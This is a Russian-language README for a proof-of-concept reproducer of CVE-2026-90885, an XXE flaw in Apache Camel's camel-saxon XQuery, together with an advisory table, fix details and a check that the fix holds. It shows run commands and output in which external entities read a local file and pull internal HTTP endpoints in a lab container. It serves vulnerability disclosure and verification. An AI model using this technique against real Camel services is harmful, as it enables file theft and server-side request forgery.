
Рабочий воспроизводитель proof-of-concept для CVE-2026-90885 — XXE (CWE-611) в Apache Camel camel-saxon XQuery, со сборками Spring Boot и Quarkus и проверкой исправления.
Source разбирался с настройками Saxon по умолчанию (XXE)Запускаемый воспроизводитель proof-of-concept для уязвимости Apache Camel, где XQueryBuilder в
camel-saxon — который вычисляет выражения как для языка xquery, так и для компонента xquery
— создавал свою конфигурацию Saxon Configuration по умолчанию с параметрами разбора, содержащими только
правило удаления пробельных символов, оставляя XML-парсер с настройками по умолчанию: объявление DOCTYPE
принимается, а внешние сущности разрешаются.
| Среда выполнения | Каталог | Стек |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-saxon 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
Почему 4.22.1 для Spring Boot: исправление было перенесено в
camel-4.22.xтолько после того, как 4.22.1 уже был выпущен, поэтому 4.22.1 — последний уязвимый релиз этой ветки, а 4.22.2 — первый исправленный. Закрепление 4.22.1 делает эту границу точкой воспроизведения.
Тела String, byte[] и InputStream преобразуются в javax.xml.transform.Source собственными
XML-преобразователями типов Camel, которые настраивают парсер с учётом внешних сущностей — эти тела никогда не были
уязвимы. Тело, которое уже было Source, передавалось в Saxon без изменений, а потоковый Source
всё равно нужно разобрать, поэтому Saxon разбирал его с той конфигурацией Configuration по умолчанию.
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
# the servlet/HTTP port opens before the Camel context finishes starting, so wait for the context:
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
Вывод на уязвимой сборке (идентичен в обеих средах выполнения):
Expression under attack: concat(string(/r/data), string(/r/data/@leak))
It copies //data and //data/@leak into the result. It reads nothing itself.
1) XQuery over a StreamSource body, external entity -> file:///tmp/cve-2026-90885-secrets/db-password.txt
expression result: [db.password=LOCAL-FILE-s3cr3t-99]
local file contents in the result: true
2) XQuery over a StreamSource body, external entity -> http://127.0.0.1:8080/internal/secret
expression result: [INTERNAL-SECRET-s3cr3t-42]
internal endpoint response in the result: true
3) XQuery over a StreamSource body, external DTD -> http://127.0.0.1:8080/internal/leak.dtd
expression result: [no-entity-hereINTERNAL-DTD-WAS-FETCHED]
attribute defaulted by the fetched DTD in the result: true
4) CONTROL - the same document as a String body (Camel's type converters build the Source)
expression result: []
local file contents in the result: false
5) The same String body through a route doing convertBodyTo(Source.class) first
expression result: [db.password=LOCAL-FILE-s3cr3t-99]
local file contents in the result: true
Requests the XML parser made to internal endpoints on its own: [GET /internal/secret, GET /internal/leak.dtd]
>>> PROVEN: ...
Именно проверка 5 имеет практическое значение. Отправитель публикует обычный XML текст — форма тела, которая
не подвержена влиянию, как показывает проверка 4. Затем маршрут выполняет convertBodyTo(Source.class) перед запуском
выражения, и это само по себе переводит тело на уязвимый путь. Никакого созданного злоумышленником Source, никакого необычного
компонента, никакой нестандартной опции: один обычный шаг преобразования в маршруте — это всё предусловие. В
рекомендации этот случай назван явно, наряду с компонентом или процессором ранее в маршруте, устанавливающим
тело в потоковый Source.
Проверки 1–3 — это та же уязвимость, достигаемая путём передачи Source напрямую, что сделал бы компонент ранее
в маршруте.
Ничего не настроено неправильно. Никакой опции configuration, никаких настроек парсера, и выражение ничего не читает:
from("direct:xquery")
.setBody(XQueryBuilder.xquery("concat(string(/r/data), string(/r/data/@leak))").asString());
from("direct:xquery-converted")
.convertBodyTo(Source.class)
.setBody(XQueryBuilder.xquery("concat(string(/r/data), string(/r/data/@leak))").asString());
Злоумышленник контролирует только XML-документ, который оценивается.
| Свойство | Значение |
|---|---|
| Компонент | camel-saxon (XQueryBuilder, используется языком xquery и компонентом xquery) |
| CWE | CWE-611 (Ненадлежащее ограничение ссылки на внешнюю сущность XML) |
| Критичность | Высокая |
| Вектор атаки | DOCTYPE с внешним подмножеством или внешняя сущность в XML, достигающая XQuery-выражения в виде уже построенного потокового Source |
| Воздействие | Чтение файлов, доступных процессу Camel; выполнение процессом запросов к хостам, указанным в документе |
| Затронутые версии | С 4.0.0 до 4.18.5, с 4.19.0 до 4.22.2 (путь кода появился до 4.0 и присутствовал в 2.x/3.x) |
| Исправленные версии | 4.18.5, 4.22.2, 4.23.0 |
| JIRA | CAMEL-24691 |
| Благодарность | Leon Zlobecki |
Рекомендация: https://camel.apache.org/security/CVE-2026-90885.html
Это не та же проблема, что CVE-2026-85250, которая касалась
documentType=InputSourceвcamel-xpathи была исправлена в 4.18.5, 4.22.1 и 4.23.0. Обе являются входными путями, обходившими стандартное усиление парсера, но это разные компоненты, и ни одно исправление не покрывает другое — в частности, 4.22.1 устраняет CVE-2026-85250, но не эту проблему.
XQueryBuilder теперь создаёт свою Configuration по умолчанию с параметрами парсинга, которые включают
disallow-doctype-decl и отключают external-general-entities, external-parameter-entities и
load-external-dtd, приводя тело Source в соответствие с усиленным парсером, который XmlConverter Camel уже
применял к телам String, byte[] и InputStream.
Изменение заметно и зафиксировано в руководстве по обновлению до 4.23: тело, достигающее XQuery в виде
уже построенного Source и содержащее DOCTYPE, теперь отклоняется с ошибкой парсинга, тогда как тела без
DOCTYPE не затронуты.
Усилена только стандартная Configuration. Конфигурация, переданная через опцию configuration эндпоинта или
языка либо через XQueryBuilder.setConfiguration, используется как есть — поэтому развёртывание, которому
действительно нужна обработка DOCTYPE или внешних сущностей, может её сохранить, а развёртывание, которое
предоставляет собственную Configuration по любой другой причине, должно само применить те же параметры парсинга.
Исправлено в main в apache/camel#26344
(9c23b686), перенесено в camel-4.22.x в #26728
(0d0ed8bb) и в camel-4.18.x в #26730 (ed513f3a).
Установите camel.version в 4.22.2 (Spring Boot) или обе версии платформы в релиз Camel Quarkus, содержащий
Camel 4.22.2 или более позднюю, и запустите снова. Проверено на 4.22.1 → 4.22.2:
1) ... [FAILED: XPathException: SXXP0003 Error reported by XML parser: DOCTYPE is disallowed when the
feature "http://apache.org/xml/features/disallow-doctype-decl" set to true.]
2) ... same 3) ... same
5) ... same
Requests the XML parser made to internal endpoints on its own: []
>>> NOT reproduced: external access was denied.